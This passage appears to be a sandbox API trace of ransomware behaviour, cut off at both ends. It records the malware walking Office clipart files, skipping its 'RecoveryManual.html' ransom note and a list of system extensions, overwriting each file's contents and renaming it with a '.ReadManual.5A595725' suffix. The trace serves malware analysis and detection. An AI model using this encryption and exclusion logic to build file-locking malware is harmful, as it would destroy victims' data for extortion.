lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.318] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4238) returned 0x2f0000 [0267.319] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.319] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38798745040) returned 1 [0267.319] CloseHandle (hObject=0x184) returned 1 [0267.319] SetSecurityInfo () returned 0x57 [0267.319] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.319] CloseHandle (hObject=0x194) returned 1 [0267.319] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1 [0267.319] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153398.WMF" | out: lpString1="J0153398.WMF") returned="J0153398.WMF" [0267.319] lstrcmpiW (lpString1="J0153398.WMF", lpString2="RecoveryManual.html") returned -1 [0267.319] StrStrIW (lpFirst="J0153398.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.319] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.319] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.320] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" [0267.320] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.ReadManual.5A595725" [0267.320] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.ReadManual.5A595725") returned 87 [0267.320] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38798840305) returned 1 [0267.320] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 0x20 [0267.320] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.320] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17508) returned 1 [0267.320] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4464, lpName=0x0) returned 0x184 [0267.320] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.321] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.321] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.323] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.323] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4464) returned 0x2f0000 [0267.323] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.323] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38799193796) returned 1 [0267.323] CloseHandle (hObject=0x184) returned 1 [0267.323] SetSecurityInfo () returned 0x57 [0267.323] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.323] CloseHandle (hObject=0x194) returned 1 [0267.323] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1 [0267.324] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153508.WMF" | out: lpString1="J0153508.WMF") returned="J0153508.WMF" [0267.324] lstrcmpiW (lpString1="J0153508.WMF", lpString2="RecoveryManual.html") returned -1 [0267.324] StrStrIW (lpFirst="J0153508.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.324] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.324] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.324] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" [0267.324] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.ReadManual.5A595725" [0267.324] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.ReadManual.5A595725") returned 87 [0267.324] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38799285694) returned 1 [0267.324] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 0x20 [0267.325] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.325] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=34256) returned 1 [0267.325] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x85d0, lpName=0x0) returned 0x184 [0267.325] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.326] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.326] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.328] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.329] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x85d0) returned 0x2f0000 [0267.330] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.330] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38799861334) returned 1 [0267.330] CloseHandle (hObject=0x184) returned 1 [0267.330] SetSecurityInfo () returned 0x57 [0267.330] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.330] CloseHandle (hObject=0x194) returned 1 [0267.330] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1 [0267.330] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153514.WMF" | out: lpString1="J0153514.WMF") returned="J0153514.WMF" [0267.330] lstrcmpiW (lpString1="J0153514.WMF", lpString2="RecoveryManual.html") returned -1 [0267.330] StrStrIW (lpFirst="J0153514.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.330] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.330] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.330] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.330] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.330] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.330] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.330] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.331] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.331] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.331] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.331] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.331] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.331] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.331] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.331] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" [0267.331] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.ReadManual.5A595725" [0267.331] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.ReadManual.5A595725") returned 87 [0267.331] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38799958900) returned 1 [0267.331] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 0x20 [0267.331] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.331] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12752) returned 1 [0267.331] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31d0, lpName=0x0) returned 0x184 [0267.331] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.332] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.332] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.334] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.334] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31d0) returned 0x2f0000 [0267.335] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.335] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38800342665) returned 1 [0267.335] CloseHandle (hObject=0x184) returned 1 [0267.335] SetSecurityInfo () returned 0x57 [0267.335] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.335] CloseHandle (hObject=0x194) returned 1 [0267.335] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1 [0267.335] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153516.WMF" | out: lpString1="J0153516.WMF") returned="J0153516.WMF" [0267.335] lstrcmpiW (lpString1="J0153516.WMF", lpString2="RecoveryManual.html") returned -1 [0267.335] StrStrIW (lpFirst="J0153516.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.335] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.335] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.335] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" [0267.336] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.ReadManual.5A595725" [0267.336] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.ReadManual.5A595725") returned 87 [0267.336] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38800437613) returned 1 [0267.336] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 0x20 [0267.336] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.336] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7432) returned 1 [0267.336] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d08, lpName=0x0) returned 0x184 [0267.336] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.337] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.337] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.339] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.339] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d08) returned 0x2f0000 [0267.339] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.339] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38800790311) returned 1 [0267.339] CloseHandle (hObject=0x184) returned 1 [0267.339] SetSecurityInfo () returned 0x57 [0267.339] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.339] CloseHandle (hObject=0x194) returned 1 [0267.339] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1 [0267.339] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0153518.WMF" | out: lpString1="J0153518.WMF") returned="J0153518.WMF" [0267.340] lstrcmpiW (lpString1="J0153518.WMF", lpString2="RecoveryManual.html") returned -1 [0267.340] StrStrIW (lpFirst="J0153518.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.340] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.340] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.340] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" [0267.340] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.ReadManual.5A595725" [0267.340] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.ReadManual.5A595725") returned 87 [0267.340] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38800885221) returned 1 [0267.340] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 0x20 [0267.340] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.341] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12528) returned 1 [0267.341] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30f0, lpName=0x0) returned 0x184 [0267.341] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.341] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.342] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.343] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.343] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30f0) returned 0x2f0000 [0267.344] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.344] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38801250197) returned 1 [0267.344] CloseHandle (hObject=0x184) returned 1 [0267.344] SetSecurityInfo () returned 0x57 [0267.344] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.344] CloseHandle (hObject=0x194) returned 1 [0267.344] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1 [0267.344] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0156537.WMF" | out: lpString1="J0156537.WMF") returned="J0156537.WMF" [0267.344] lstrcmpiW (lpString1="J0156537.WMF", lpString2="RecoveryManual.html") returned -1 [0267.344] StrStrIW (lpFirst="J0156537.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.344] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.344] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.344] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.344] 